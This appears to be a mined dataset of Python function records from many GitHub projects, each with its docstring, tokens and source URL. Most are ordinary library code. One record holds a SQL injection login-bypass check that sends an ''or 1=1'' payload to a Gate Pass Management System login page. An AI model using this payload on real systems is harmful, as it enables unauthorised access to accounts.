ae = AcctEntry.objects.create_acct_entry(user, 'invoice', inv.id)
if not inv.is_tendered:
make_acct_entries_initial(user, ae, amount)
else:
# payment has now been received
make_acct_entries_closing(user, ae, amount)
# #CREDIT event SALES
acct_number = self.get_acct_number()
acct = Acct.objects.get(account_number=acct_number)
AcctTran.objects.create_acct_tran(user, ae, acct, amount*(-1))
|
[
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",",
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",",
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https://github.com/tendenci/tendenci/blob/0f2c348cc0e7d41bc56f50b00ce05544b083bf1d/tendenci/apps/events/models.py#L573-L590
|
||
p5py/p5
|
4ef1580b26179f1973c1669751da4522c5823f17
|
p5/pmath/rand.py
|
python
|
noise_detail
|
(octaves=4, falloff=0.5)
|
Adjust the level of noise detail produced by noise().
:param octaves: The number of octaves to compute the noise for
(defaults to 4).
:type octaves: int
:param falloff:
:type falloff: float
:note: For :code:`falloff` values greater than 0.5,
:code:`noise()` will return values greater than 1.0.
|
Adjust the level of noise detail produced by noise().
|
[
"Adjust",
"the",
"level",
"of",
"noise",
"detail",
"produced",
"by",
"noise",
"()",
"."
] |
def noise_detail(octaves=4, falloff=0.5):
"""Adjust the level of noise detail produced by noise().
:param octaves: The number of octaves to compute the noise for
(defaults to 4).
:type octaves: int
:param falloff:
:type falloff: float
:note: For :code:`falloff` values greater than 0.5,
:code:`noise()` will return values greater than 1.0.
"""
global PERLIN_OCTAVES
global PERLIN_FALLOFF
if octaves > 0:
PERLIN_OCTAVES = octaves
PERLIN_FALLOFF = constrain(falloff, 0, 1)
|
[
"def",
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"=",
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"PERLIN_FALLOFF",
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"constrain",
"(",
"falloff",
",",
"0",
",",
"1",
")"
] |
https://github.com/p5py/p5/blob/4ef1580b26179f1973c1669751da4522c5823f17/p5/pmath/rand.py#L175-L194
|
||
frescobaldi/frescobaldi
|
301cc977fc4ba7caa3df9e4bf905212ad5d06912
|
frescobaldi_app/preferences/extensions.py
|
python
|
Config.saveSettings
|
(self)
|
Ask all extension configuration widgets to save their settings.
Configuration widgets are required to implement save_settings().
|
Ask all extension configuration widgets to save their settings.
Configuration widgets are required to implement save_settings().
|
[
"Ask",
"all",
"extension",
"configuration",
"widgets",
"to",
"save",
"their",
"settings",
".",
"Configuration",
"widgets",
"are",
"required",
"to",
"implement",
"save_settings",
"()",
"."
] |
def saveSettings(self):
"""Ask all extension configuration widgets to save their settings.
Configuration widgets are required to implement save_settings()."""
for widget in self._widgets.values():
if widget:
widget.save_settings()
|
[
"def",
"saveSettings",
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"self",
")",
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".",
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"(",
")",
":",
"if",
"widget",
":",
"widget",
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"(",
")"
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https://github.com/frescobaldi/frescobaldi/blob/301cc977fc4ba7caa3df9e4bf905212ad5d06912/frescobaldi_app/preferences/extensions.py#L335-L340
|
||
mozilla/treeherder
|
228750c5774cfbe7d395e10e2c84665d9122496d
|
treeherder/model/models.py
|
python
|
ClassifiedFailure.replace_with
|
(self, other)
|
Replace this instance with the given other.
Deletes stale Match objects and updates related TextLogErrorMetadatas'
best_classifications to point to the given other.
|
Replace this instance with the given other.
|
[
"Replace",
"this",
"instance",
"with",
"the",
"given",
"other",
"."
] |
def replace_with(self, other):
"""
Replace this instance with the given other.
Deletes stale Match objects and updates related TextLogErrorMetadatas'
best_classifications to point to the given other.
"""
match_ids_to_delete = list(self.update_matches(other))
TextLogErrorMatch.objects.filter(id__in=match_ids_to_delete).delete()
# Update best classifications
self.best_for_errors.update(best_classification=other)
self.delete()
|
[
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"(",
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")",
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"(",
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https://github.com/mozilla/treeherder/blob/228750c5774cfbe7d395e10e2c84665d9122496d/treeherder/model/models.py#L1176-L1189
|
||
eBay/accelerator
|
218d9a5e4451ac72b9e65df6c5b32e37d25136c8
|
accelerator/dsutil.py
|
python
|
ReadJson.__init__
|
(self, *a, **kw)
|
[] |
def __init__(self, *a, **kw):
if PY3:
self.fh = _dsutil.ReadUnicode(*a, **kw)
else:
self.fh = _dsutil.ReadBytes(*a, **kw)
self.decode = JSONDecoder().decode
|
[
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"*",
"a",
",",
"*",
"*",
"kw",
")",
"self",
".",
"decode",
"=",
"JSONDecoder",
"(",
")",
".",
"decode"
] |
https://github.com/eBay/accelerator/blob/218d9a5e4451ac72b9e65df6c5b32e37d25136c8/accelerator/dsutil.py#L117-L122
|
||||
IJDykeman/wangTiles
|
7c1ee2095ebdf7f72bce07d94c6484915d5cae8b
|
experimental_code/tiles_3d/venv/lib/python2.7/site-packages/pip/_vendor/requests/models.py
|
python
|
PreparedRequest.prepare_headers
|
(self, headers)
|
Prepares the given HTTP headers.
|
Prepares the given HTTP headers.
|
[
"Prepares",
"the",
"given",
"HTTP",
"headers",
"."
] |
def prepare_headers(self, headers):
"""Prepares the given HTTP headers."""
if headers:
self.headers = CaseInsensitiveDict((to_native_string(name), value) for name, value in headers.items())
else:
self.headers = CaseInsensitiveDict()
|
[
"def",
"prepare_headers",
"(",
"self",
",",
"headers",
")",
":",
"if",
"headers",
":",
"self",
".",
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"CaseInsensitiveDict",
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"(",
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"(",
")",
")",
"else",
":",
"self",
".",
"headers",
"=",
"CaseInsensitiveDict",
"(",
")"
] |
https://github.com/IJDykeman/wangTiles/blob/7c1ee2095ebdf7f72bce07d94c6484915d5cae8b/experimental_code/tiles_3d/venv/lib/python2.7/site-packages/pip/_vendor/requests/models.py#L383-L389
|
||
securesystemslab/zippy
|
ff0e84ac99442c2c55fe1d285332cfd4e185e089
|
zippy/benchmarks/src/benchmarks/sympy/sympy/matrices/matrices.py
|
python
|
MatrixBase.is_lower_hessenberg
|
(self)
|
return all(self[i, j].is_zero
for i in range(self.rows)
for j in range(i + 2, self.cols))
|
r"""Checks if the matrix is in the lower-Hessenberg form.
The lower hessenberg matrix has zero entries
above the first superdiagonal.
Examples
========
>>> from sympy.matrices import Matrix
>>> a = Matrix([[1, 2, 0, 0], [5, 2, 3, 0], [3, 4, 3, 7], [5, 6, 1, 1]])
>>> a
Matrix([
[1, 2, 0, 0],
[5, 2, 3, 0],
[3, 4, 3, 7],
[5, 6, 1, 1]])
>>> a.is_lower_hessenberg
True
See Also
========
is_upper_hessenberg
is_lower
|
r"""Checks if the matrix is in the lower-Hessenberg form.
|
[
"r",
"Checks",
"if",
"the",
"matrix",
"is",
"in",
"the",
"lower",
"-",
"Hessenberg",
"form",
"."
] |
def is_lower_hessenberg(self):
r"""Checks if the matrix is in the lower-Hessenberg form.
The lower hessenberg matrix has zero entries
above the first superdiagonal.
Examples
========
>>> from sympy.matrices import Matrix
>>> a = Matrix([[1, 2, 0, 0], [5, 2, 3, 0], [3, 4, 3, 7], [5, 6, 1, 1]])
>>> a
Matrix([
[1, 2, 0, 0],
[5, 2, 3, 0],
[3, 4, 3, 7],
[5, 6, 1, 1]])
>>> a.is_lower_hessenberg
True
See Also
========
is_upper_hessenberg
is_lower
"""
return all(self[i, j].is_zero
for i in range(self.rows)
for j in range(i + 2, self.cols))
|
[
"def",
"is_lower_hessenberg",
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"(",
"i",
"+",
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",",
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"cols",
")",
")"
] |
https://github.com/securesystemslab/zippy/blob/ff0e84ac99442c2c55fe1d285332cfd4e185e089/zippy/benchmarks/src/benchmarks/sympy/sympy/matrices/matrices.py#L2161-L2189
|
|
econchick/interrogate
|
ad955b82c5b164a1fe900dd6928fd4bab4d9a8ac
|
docs/conf.py
|
python
|
read
|
(*parts)
|
Build an absolute path from *parts* and and return the contents of the
resulting file. Assume UTF-8 encoding.
|
Build an absolute path from *parts* and and return the contents of the
resulting file. Assume UTF-8 encoding.
|
[
"Build",
"an",
"absolute",
"path",
"from",
"*",
"parts",
"*",
"and",
"and",
"return",
"the",
"contents",
"of",
"the",
"resulting",
"file",
".",
"Assume",
"UTF",
"-",
"8",
"encoding",
"."
] |
def read(*parts):
"""
Build an absolute path from *parts* and and return the contents of the
resulting file. Assume UTF-8 encoding.
"""
here = os.path.abspath(os.path.dirname(__file__))
with codecs.open(os.path.join(here, *parts), "rb", "utf-8") as f:
return f.read()
|
[
"def",
"read",
"(",
"*",
"parts",
")",
":",
"here",
"=",
"os",
".",
"path",
".",
"abspath",
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"os",
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"path",
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"dirname",
"(",
"__file__",
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"with",
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"as",
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"return",
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] |
https://github.com/econchick/interrogate/blob/ad955b82c5b164a1fe900dd6928fd4bab4d9a8ac/docs/conf.py#L6-L13
|
||
studywolf/control
|
4e94cb9c10543a5f5e798c0ec2605893bb21c321
|
studywolf_control/controllers/trace.py
|
python
|
Shell.check_pen_up
|
(self)
|
Check to see if the pen should be lifted.
|
Check to see if the pen should be lifted.
|
[
"Check",
"to",
"see",
"if",
"the",
"pen",
"should",
"be",
"lifted",
"."
] |
def check_pen_up(self):
"""Check to see if the pen should be lifted.
"""
if self.time >= 1. - self.tau:
self.time = 0.0
return True
else:
return False
|
[
"def",
"check_pen_up",
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"self",
")",
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"if",
"self",
".",
"time",
">=",
"1.",
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":",
"self",
".",
"time",
"=",
"0.0",
"return",
"True",
"else",
":",
"return",
"False"
] |
https://github.com/studywolf/control/blob/4e94cb9c10543a5f5e798c0ec2605893bb21c321/studywolf_control/controllers/trace.py#L34-L41
|
||
soskek/bert-chainer
|
22cc04afff4d31b6a10e36bb32837216ede22a49
|
modeling.py
|
python
|
create_attention_mask_from_input_mask
|
(from_tensor, to_mask)
|
return mask
|
Create 3D attention mask from a 2D tensor mask.
Args:
from_tensor: 2D or 3D Tensor of shape [batch_size, from_seq_length, ...].
to_mask: int32 Tensor of shape [batch_size, to_seq_length].
Returns:
float Tensor of shape [batch_size, from_seq_length, to_seq_length].
|
Create 3D attention mask from a 2D tensor mask.
|
[
"Create",
"3D",
"attention",
"mask",
"from",
"a",
"2D",
"tensor",
"mask",
"."
] |
def create_attention_mask_from_input_mask(from_tensor, to_mask):
"""Create 3D attention mask from a 2D tensor mask.
Args:
from_tensor: 2D or 3D Tensor of shape [batch_size, from_seq_length, ...].
to_mask: int32 Tensor of shape [batch_size, to_seq_length].
Returns:
float Tensor of shape [batch_size, from_seq_length, to_seq_length].
"""
# numpy or cupy depending on GPU usage
xp = chainer.cuda.get_array_module(from_tensor)
from_shape = from_tensor.shape
batch_size = from_shape[0]
from_seq_length = from_shape[1]
to_shape = to_mask.shape
to_seq_length = to_shape[1]
mask = xp.broadcast_to(
to_mask[:, None],
(batch_size, from_seq_length, to_seq_length))
return mask
|
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https://github.com/soskek/bert-chainer/blob/22cc04afff4d31b6a10e36bb32837216ede22a49/modeling.py#L571-L594
|
|
effigies/BitTornado
|
03f64f2933678d08f104e340fa42b9b7d0c14993
|
btcopyannounce.py
|
python
|
main
|
(argv)
|
return 0
|
Copy announce information from source to all specified torrents
|
Copy announce information from source to all specified torrents
|
[
"Copy",
"announce",
"information",
"from",
"source",
"to",
"all",
"specified",
"torrents"
] |
def main(argv):
"""Copy announce information from source to all specified torrents"""
program, _ = os.path.splitext(os.path.basename(argv[0]))
usage = "Usage: %s <source.torrent> <file1.torrent> " \
"[file2.torrent...]" % program
try:
opts, args = getopt.getopt(argv[1:], "hv",
("help", "verbose"))
except getopt.error as msg:
print(msg)
return 1
if len(args) < 2:
print("{}\n{}\n".format(usage, main.__doc__))
return 2
source_metainfo = MetaInfo.read(args[0])
verbose = False
for opt, _ in opts:
if opt in ('-h', '--help'):
print("{}\n{}\n".format(usage, main.__doc__))
return 0
elif opt in ('-v', '--verbose'):
verbose = True
announce = source_metainfo['announce']
announce_list = source_metainfo.get('announce-list')
if verbose:
print('new announce: ', announce)
if announce_list:
print('new announce-list: ',
'|'.join(','.join(tier) for tier in announce_list))
for fname in args[1:]:
reannounce(fname, announce, announce_list, verbose)
return 0
|
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"reannounce",
"(",
"fname",
",",
"announce",
",",
"announce_list",
",",
"verbose",
")",
"return",
"0"
] |
https://github.com/effigies/BitTornado/blob/03f64f2933678d08f104e340fa42b9b7d0c14993/btcopyannounce.py#L15-L54
|
|
facebookresearch/detectron2
|
cb92ae1763cd7d3777c243f07749574cdaec6cb8
|
detectron2/export/api.py
|
python
|
Caffe2Tracer.__init__
|
(self, cfg: CfgNode, model: nn.Module, inputs)
|
Args:
cfg (CfgNode): a detectron2 config used to construct caffe2-compatible model.
model (nn.Module): An original pytorch model. Must be among a few official models
in detectron2 that can be converted to become caffe2-compatible automatically.
Weights have to be already loaded to this model.
inputs: sample inputs that the given model takes for inference.
Will be used to trace the model. For most models, random inputs with
no detected objects will not work as they lead to wrong traces.
|
Args:
cfg (CfgNode): a detectron2 config used to construct caffe2-compatible model.
model (nn.Module): An original pytorch model. Must be among a few official models
in detectron2 that can be converted to become caffe2-compatible automatically.
Weights have to be already loaded to this model.
inputs: sample inputs that the given model takes for inference.
Will be used to trace the model. For most models, random inputs with
no detected objects will not work as they lead to wrong traces.
|
[
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] |
def __init__(self, cfg: CfgNode, model: nn.Module, inputs):
"""
Args:
cfg (CfgNode): a detectron2 config used to construct caffe2-compatible model.
model (nn.Module): An original pytorch model. Must be among a few official models
in detectron2 that can be converted to become caffe2-compatible automatically.
Weights have to be already loaded to this model.
inputs: sample inputs that the given model takes for inference.
Will be used to trace the model. For most models, random inputs with
no detected objects will not work as they lead to wrong traces.
"""
assert isinstance(cfg, CfgNode), cfg
assert isinstance(model, torch.nn.Module), type(model)
# TODO make it support custom models, by passing in c2 model directly
C2MetaArch = META_ARCH_CAFFE2_EXPORT_TYPE_MAP[cfg.MODEL.META_ARCHITECTURE]
self.traceable_model = C2MetaArch(cfg, copy.deepcopy(model))
self.inputs = inputs
self.traceable_inputs = self.traceable_model.get_caffe2_inputs(inputs)
|
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https://github.com/facebookresearch/detectron2/blob/cb92ae1763cd7d3777c243f07749574cdaec6cb8/detectron2/export/api.py#L50-L68
|
||
1120362990/vulnerability-list
|
59a1b3f8f9c32ec2620b2953ab561b44a8e8dd95
|
gatepass_vuln/Gate_Pass_Management_System_login_SQL_Injection.py
|
python
|
attack
|
(URL)
|
[] |
def attack(URL):
print('[+]开始检测-Gate_Pass_Management_System_login_SQL_Injection。[+]')
url = URL + '/login-exec.php'
data = {
#'login': 'admin','password': '123456',
'login': r"'or 1=1 or ''='", 'password': r"'or 1=1 or ''='",
'Submit': 'value',
}
try:
r = requests.post(url,data=data)
if 'Please check your username and password' in r.text:
print('[-]账户密码错误,绕过登录失败，不存在漏洞。')
print('检测页面：'+url)
elif 'Industronics Engineering' in r.text:
print('[+]绕过登录成功，存在sql注入漏洞。')
print('漏洞连接：'+url)
print("利用方法：login='or 1=1 or ''='&password='or 1=1 or ''='&Submit=Login")
else:
print('[!]检测时发生错误,可能不存在漏洞页面。')
except:
print('[!]连接端口时发生错误。')
print('[+]检测完成-Gate_Pass_Management_System_login_SQL_Injection。[+]')
print('\n')
|
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"print",
"(",
"\"利用方法：login='or 1=1 or ''='&password='or 1=1 or ''='&Submit=Login\")",
"",
"else",
":",
"print",
"(",
"'[!]检测时发生错误,可能不存在漏洞页面。')",
"",
"except",
":",
"print",
"(",
"'[!]连接端口时发生错误。')",
"",
"print",
"(",
"'[+]检测完成-Gate_Pass_Management_System_login_SQL_Injection。[+]')",
"",
"print",
"(",
"'\\n'",
")"
] |
https://github.com/1120362990/vulnerability-list/blob/59a1b3f8f9c32ec2620b2953ab561b44a8e8dd95/gatepass_vuln/Gate_Pass_Management_System_login_SQL_Injection.py#L12-L34
|
||||
ansible-community/ara
|
f366c9f9f2a06311dd67449f1124dca0674563c2
|
ara/server/wsgi.py
|
python
|
distributed_sqlite
|
(environ, start_response)
|
Custom WSGI application meant to work with ara.server.db.backends.distributed_sqlite
in order to dynamically load different databases at runtime.
|
Custom WSGI application meant to work with ara.server.db.backends.distributed_sqlite
in order to dynamically load different databases at runtime.
|
[
"Custom",
"WSGI",
"application",
"meant",
"to",
"work",
"with",
"ara",
".",
"server",
".",
"db",
".",
"backends",
".",
"distributed_sqlite",
"in",
"order",
"to",
"dynamically",
"load",
"different",
"databases",
"at",
"runtime",
"."
] |
def distributed_sqlite(environ, start_response):
"""
Custom WSGI application meant to work with ara.server.db.backends.distributed_sqlite
in order to dynamically load different databases at runtime.
"""
# This endpoint is read only, do not accept write requests.
if environ["REQUEST_METHOD"] not in ["GET", "HEAD", "OPTIONS"]:
handle_405(start_response)
script_name = get_script_name(environ)
path_info = get_path_info(environ)
from django.conf import settings
# The root under which database files are expected
root = settings.DISTRIBUTED_SQLITE_ROOT
# The prefix after which everything should be delegated (ex: /ara-report)
prefix = settings.DISTRIBUTED_SQLITE_PREFIX
# Static assets should always be served by the regular app
if path_info.startswith(settings.STATIC_URL):
return application(environ, start_response)
if prefix not in path_info:
logger.warn("Ignoring request: URL does not contain delegated prefix (%s)" % prefix)
return handle_404(start_response)
# Slice path_info up until after the prefix to obtain the requested directory
i = path_info.find(prefix) + len(prefix)
fs_path = path_info[:i]
# Make sure we aren't escaping outside the root and the directory exists
db_dir = os.path.abspath(os.path.join(root, fs_path.lstrip("/")))
if not db_dir.startswith(root):
logger.warn("Ignoring request: path is outside the root (%s)" % db_dir)
return handle_404(start_response)
elif not os.path.exists(db_dir):
logger.warn("Ignoring request: database directory not found (%s)" % db_dir)
return handle_404(start_response)
# Find the database file and make sure it exists
db_file = os.path.join(db_dir, "ansible.sqlite")
if not os.path.exists(db_file):
logger.warn("Ignoring request: database file not found (%s)" % db_file)
return handle_404(start_response)
# Tell Django about the new URLs it should be using
environ["SCRIPT_NAME"] = script_name + fs_path
environ["PATH_INFO"] = path_info[len(fs_path) :] # noqa: E203
# Store the path of the database in a thread so the distributed_sqlite
# database backend can retrieve it.
from ara.server.db.backends.distributed_sqlite.base import local_storage
local_storage.db_path = db_file
try:
return application(environ, start_response)
finally:
del local_storage.db_path
|
[
"def",
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":",
"# This endpoint is read only, do not accept write requests.",
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"\"REQUEST_METHOD\"",
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"%",
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"(",
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",",
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"(",
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")",
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"[",
"\"SCRIPT_NAME\"",
"]",
"=",
"script_name",
"+",
"fs_path",
"environ",
"[",
"\"PATH_INFO\"",
"]",
"=",
"path_info",
"[",
"len",
"(",
"fs_path",
")",
":",
"]",
"# noqa: E203",
"# Store the path of the database in a thread so the distributed_sqlite",
"# database backend can retrieve it.",
"from",
"ara",
".",
"server",
".",
"db",
".",
"backends",
".",
"distributed_sqlite",
".",
"base",
"import",
"local_storage",
"local_storage",
".",
"db_path",
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":",
"return",
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"(",
"environ",
",",
"start_response",
")",
"finally",
":",
"del",
"local_storage",
".",
"db_path"
] |
https://github.com/ansible-community/ara/blob/f366c9f9f2a06311dd67449f1124dca0674563c2/ara/server/wsgi.py#L47-L105
|
||
twschiller/open-synthesis
|
4c765c1105eea31a039dde25e53ee8d3612dd206
|
openach/templatetags/board_extras.py
|
python
|
url_replace
|
(request, field, value)
|
return dict_.urlencode()
|
Return a GET dictionary with field=value.
|
Return a GET dictionary with field=value.
|
[
"Return",
"a",
"GET",
"dictionary",
"with",
"field",
"=",
"value",
"."
] |
def url_replace(request, field, value):
"""Return a GET dictionary with field=value."""
# taken from: https://stackoverflow.com/questions/2047622/how-to-paginate-django-with-other-get-variables
dict_ = request.GET.copy()
dict_[field] = value
return dict_.urlencode()
|
[
"def",
"url_replace",
"(",
"request",
",",
"field",
",",
"value",
")",
":",
"# taken from: https://stackoverflow.com/questions/2047622/how-to-paginate-django-with-other-get-variables",
"dict_",
"=",
"request",
".",
"GET",
".",
"copy",
"(",
")",
"dict_",
"[",
"field",
"]",
"=",
"value",
"return",
"dict_",
".",
"urlencode",
"(",
")"
] |
https://github.com/twschiller/open-synthesis/blob/4c765c1105eea31a039dde25e53ee8d3612dd206/openach/templatetags/board_extras.py#L225-L230
|
|
grnet/synnefo
|
d06ec8c7871092131cdaabf6b03ed0b504c93e43
|
astakosclient/astakosclient/__init__.py
|
python
|
AstakosClient.service_get_username
|
(self, uuid)
|
Return the displayName of a uuid using a service's token
|
Return the displayName of a uuid using a service's token
|
[
"Return",
"the",
"displayName",
"of",
"a",
"uuid",
"using",
"a",
"service",
"s",
"token"
] |
def service_get_username(self, uuid):
"""Return the displayName of a uuid using a service's token"""
check_input("service_get_username", self.logger, uuid=uuid)
uuid_dict = self.service_get_usernames([uuid])
if uuid in uuid_dict:
return uuid_dict.get(uuid)
else:
raise NoUserName(uuid)
|
[
"def",
"service_get_username",
"(",
"self",
",",
"uuid",
")",
":",
"check_input",
"(",
"\"service_get_username\"",
",",
"self",
".",
"logger",
",",
"uuid",
"=",
"uuid",
")",
"uuid_dict",
"=",
"self",
".",
"service_get_usernames",
"(",
"[",
"uuid",
"]",
")",
"if",
"uuid",
"in",
"uuid_dict",
":",
"return",
"uuid_dict",
".",
"get",
"(",
"uuid",
")",
"else",
":",
"raise",
"NoUserName",
"(",
"uuid",
")"
] |
https://github.com/grnet/synnefo/blob/d06ec8c7871092131cdaabf6b03ed0b504c93e43/astakosclient/astakosclient/__init__.py#L374-L381
|
||
InQuest/omnibus
|
88dbf5d02f87eaa79a1cfc13d403cf854ee44c40
|
lib/modules/cybercure.py
|
python
|
Plugin.run
|
(self)
|
[] |
def run(self):
url = 'http://api.cybercure.ai/feed/search?value=%s' % self.artifact['name']
headers = {'User-Agent': 'OSINT Omnibus (https://github.com/InQuest/Omnibus)'}
try:
status, response = get(url, headers=headers)
if status:
results = response.json()
self.artifact['data']['cybercure'] = results
except Exception as err:
warning('Caught exception in module (%s)' % str(err))
|
[
"def",
"run",
"(",
"self",
")",
":",
"url",
"=",
"'http://api.cybercure.ai/feed/search?value=%s'",
"%",
"self",
".",
"artifact",
"[",
"'name'",
"]",
"headers",
"=",
"{",
"'User-Agent'",
":",
"'OSINT Omnibus (https://github.com/InQuest/Omnibus)'",
"}",
"try",
":",
"status",
",",
"response",
"=",
"get",
"(",
"url",
",",
"headers",
"=",
"headers",
")",
"if",
"status",
":",
"results",
"=",
"response",
".",
"json",
"(",
")",
"self",
".",
"artifact",
"[",
"'data'",
"]",
"[",
"'cybercure'",
"]",
"=",
"results",
"except",
"Exception",
"as",
"err",
":",
"warning",
"(",
"'Caught exception in module (%s)'",
"%",
"str",
"(",
"err",
")",
")"
] |
https://github.com/InQuest/omnibus/blob/88dbf5d02f87eaa79a1cfc13d403cf854ee44c40/lib/modules/cybercure.py#L18-L28
|
||||
guildai/guildai
|
1665985a3d4d788efc1a3180ca51cc417f71ca78
|
guild/external/pip/_vendor/urllib3/fields.py
|
python
|
RequestField.make_multipart
|
(self, content_disposition=None, content_type=None,
content_location=None)
|
Makes this request field into a multipart request field.
This method overrides "Content-Disposition", "Content-Type" and
"Content-Location" headers to the request parameter.
:param content_type:
The 'Content-Type' of the request body.
:param content_location:
The 'Content-Location' of the request body.
|
Makes this request field into a multipart request field.
|
[
"Makes",
"this",
"request",
"field",
"into",
"a",
"multipart",
"request",
"field",
"."
] |
def make_multipart(self, content_disposition=None, content_type=None,
content_location=None):
"""
Makes this request field into a multipart request field.
This method overrides "Content-Disposition", "Content-Type" and
"Content-Location" headers to the request parameter.
:param content_type:
The 'Content-Type' of the request body.
:param content_location:
The 'Content-Location' of the request body.
"""
self.headers['Content-Disposition'] = content_disposition or 'form-data'
self.headers['Content-Disposition'] += '; '.join([
'', self._render_parts(
(('name', self._name), ('filename', self._filename))
)
])
self.headers['Content-Type'] = content_type
self.headers['Content-Location'] = content_location
|
[
"def",
"make_multipart",
"(",
"self",
",",
"content_disposition",
"=",
"None",
",",
"content_type",
"=",
"None",
",",
"content_location",
"=",
"None",
")",
":",
"self",
".",
"headers",
"[",
"'Content-Disposition'",
"]",
"=",
"content_disposition",
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"'form-data'",
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".",
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"[",
"'Content-Disposition'",
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"+=",
"'; '",
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"join",
"(",
"[",
"''",
",",
"self",
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"(",
"(",
"(",
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",",
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",",
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",",
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"]",
"=",
"content_type",
"self",
".",
"headers",
"[",
"'Content-Location'",
"]",
"=",
"content_location"
] |
https://github.com/guildai/guildai/blob/1665985a3d4d788efc1a3180ca51cc417f71ca78/guild/external/pip/_vendor/urllib3/fields.py#L157-L178
|
||
msr-fiddle/pipedream
|
7db6a1c3e64996d5b319faec6ca38cb31bfea1c4
|
runtime/communication.py
|
python
|
CommunicationHandler.start_helper_thread
|
(self, args_func, func, args_func_args, num_iterations)
|
Start passed-in func on a helper thread.
|
Start passed-in func on a helper thread.
|
[
"Start",
"passed",
"-",
"in",
"func",
"on",
"a",
"helper",
"thread",
"."
] |
def start_helper_thread(self, args_func, func, args_func_args, num_iterations):
"""
Start passed-in func on a helper thread.
"""
args_func_args += [num_iterations]
args = args_func(*args_func_args)
helper_thread = threading.Thread(target=func,
args=args)
helper_thread.start()
|
[
"def",
"start_helper_thread",
"(",
"self",
",",
"args_func",
",",
"func",
",",
"args_func_args",
",",
"num_iterations",
")",
":",
"args_func_args",
"+=",
"[",
"num_iterations",
"]",
"args",
"=",
"args_func",
"(",
"*",
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")",
"helper_thread",
"=",
"threading",
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"(",
"target",
"=",
"func",
",",
"args",
"=",
"args",
")",
"helper_thread",
".",
"start",
"(",
")"
] |
https://github.com/msr-fiddle/pipedream/blob/7db6a1c3e64996d5b319faec6ca38cb31bfea1c4/runtime/communication.py#L348-L356
|
||
PaddlePaddle/PaddleX
|
2bab73f81ab54e328204e7871e6ae4a82e719f5d
|
paddlex/ppcls/arch/backbone/model_zoo/swin_transformer.py
|
python
|
WindowAttention.forward
|
(self, x, mask=None)
|
return x
|
Args:
x: input features with shape of (num_windows*B, N, C)
mask: (0/-inf) mask with shape of (num_windows, Wh*Ww, Wh*Ww) or None
|
Args:
x: input features with shape of (num_windows*B, N, C)
mask: (0/-inf) mask with shape of (num_windows, Wh*Ww, Wh*Ww) or None
|
[
"Args",
":",
"x",
":",
"input",
"features",
"with",
"shape",
"of",
"(",
"num_windows",
"*",
"B",
"N",
"C",
")",
"mask",
":",
"(",
"0",
"/",
"-",
"inf",
")",
"mask",
"with",
"shape",
"of",
"(",
"num_windows",
"Wh",
"*",
"Ww",
"Wh",
"*",
"Ww",
")",
"or",
"None"
] |
def forward(self, x, mask=None):
"""
Args:
x: input features with shape of (num_windows*B, N, C)
mask: (0/-inf) mask with shape of (num_windows, Wh*Ww, Wh*Ww) or None
"""
B_, N, C = x.shape
qkv = self.qkv(x).reshape(
[B_, N, 3, self.num_heads, C // self.num_heads]).transpose(
[2, 0, 3, 1, 4])
q, k, v = qkv[0], qkv[1], qkv[2]
q = q * self.scale
attn = paddle.mm(q, k.transpose([0, 1, 3, 2]))
index = self.relative_position_index.reshape([-1])
relative_position_bias = paddle.index_select(
self.relative_position_bias_table, index)
relative_position_bias = relative_position_bias.reshape([
self.window_size[0] * self.window_size[1],
self.window_size[0] * self.window_size[1], -1
]) # Wh*Ww,Wh*Ww,nH
relative_position_bias = relative_position_bias.transpose(
[2, 0, 1]) # nH, Wh*Ww, Wh*Ww
attn = attn + relative_position_bias.unsqueeze(0)
if mask is not None:
nW = mask.shape[0]
attn = attn.reshape([B_ // nW, nW, self.num_heads, N, N
]) + mask.unsqueeze(1).unsqueeze(0)
attn = attn.reshape([-1, self.num_heads, N, N])
attn = self.softmax(attn)
else:
attn = self.softmax(attn)
attn = self.attn_drop(attn)
# x = (attn @ v).transpose(1, 2).reshape([B_, N, C])
x = paddle.mm(attn, v).transpose([0, 2, 1, 3]).reshape([B_, N, C])
x = self.proj(x)
x = self.proj_drop(x)
return x
|
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https://github.com/PaddlePaddle/PaddleX/blob/2bab73f81ab54e328204e7871e6ae4a82e719f5d/paddlex/ppcls/arch/backbone/model_zoo/swin_transformer.py#L170-L213
|
|
securityclippy/elasticintel
|
aa08d3e9f5ab1c000128e95161139ce97ff0e334
|
ingest_feed_lambda/numpy/lib/function_base.py
|
python
|
_update_dim_sizes
|
(dim_sizes, arg, core_dims)
|
Incrementally check and update core dimension sizes for a single argument.
Arguments
---------
dim_sizes : Dict[str, int]
Sizes of existing core dimensions. Will be updated in-place.
arg : ndarray
Argument to examine.
core_dims : Tuple[str, ...]
Core dimensions for this argument.
|
Incrementally check and update core dimension sizes for a single argument.
|
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] |
def _update_dim_sizes(dim_sizes, arg, core_dims):
"""
Incrementally check and update core dimension sizes for a single argument.
Arguments
---------
dim_sizes : Dict[str, int]
Sizes of existing core dimensions. Will be updated in-place.
arg : ndarray
Argument to examine.
core_dims : Tuple[str, ...]
Core dimensions for this argument.
"""
if not core_dims:
return
num_core_dims = len(core_dims)
if arg.ndim < num_core_dims:
raise ValueError(
'%d-dimensional argument does not have enough '
'dimensions for all core dimensions %r'
% (arg.ndim, core_dims))
core_shape = arg.shape[-num_core_dims:]
for dim, size in zip(core_dims, core_shape):
if dim in dim_sizes:
if size != dim_sizes[dim]:
raise ValueError(
'inconsistent size for core dimension %r: %r vs %r'
% (dim, size, dim_sizes[dim]))
else:
dim_sizes[dim] = size
|
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https://github.com/securityclippy/elasticintel/blob/aa08d3e9f5ab1c000128e95161139ce97ff0e334/ingest_feed_lambda/numpy/lib/function_base.py#L2450-L2481
|
||
django-nonrel/django-nonrel
|
4fbfe7344481a5eab8698f79207f09124310131b
|
django/core/cache/backends/base.py
|
python
|
BaseCache.decr
|
(self, key, delta=1, version=None)
|
return self.incr(key, -delta, version=version)
|
Subtract delta from value in the cache. If the key does not exist, raise
a ValueError exception.
|
Subtract delta from value in the cache. If the key does not exist, raise
a ValueError exception.
|
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def decr(self, key, delta=1, version=None):
"""
Subtract delta from value in the cache. If the key does not exist, raise
a ValueError exception.
"""
return self.incr(key, -delta, version=version)
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https://github.com/django-nonrel/django-nonrel/blob/4fbfe7344481a5eab8698f79207f09124310131b/django/core/cache/backends/base.py#L147-L152
|
|
tobegit3hub/deep_image_model
|
8a53edecd9e00678b278bb10f6fb4bdb1e4ee25e
|
java_predict_client/src/main/proto/tensorflow/contrib/tensor_forest/python/tensor_forest.py
|
python
|
ForestHParams.fill
|
(self)
|
return self
|
Intelligently sets any non-specific parameters.
|
Intelligently sets any non-specific parameters.
|
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def fill(self):
"""Intelligently sets any non-specific parameters."""
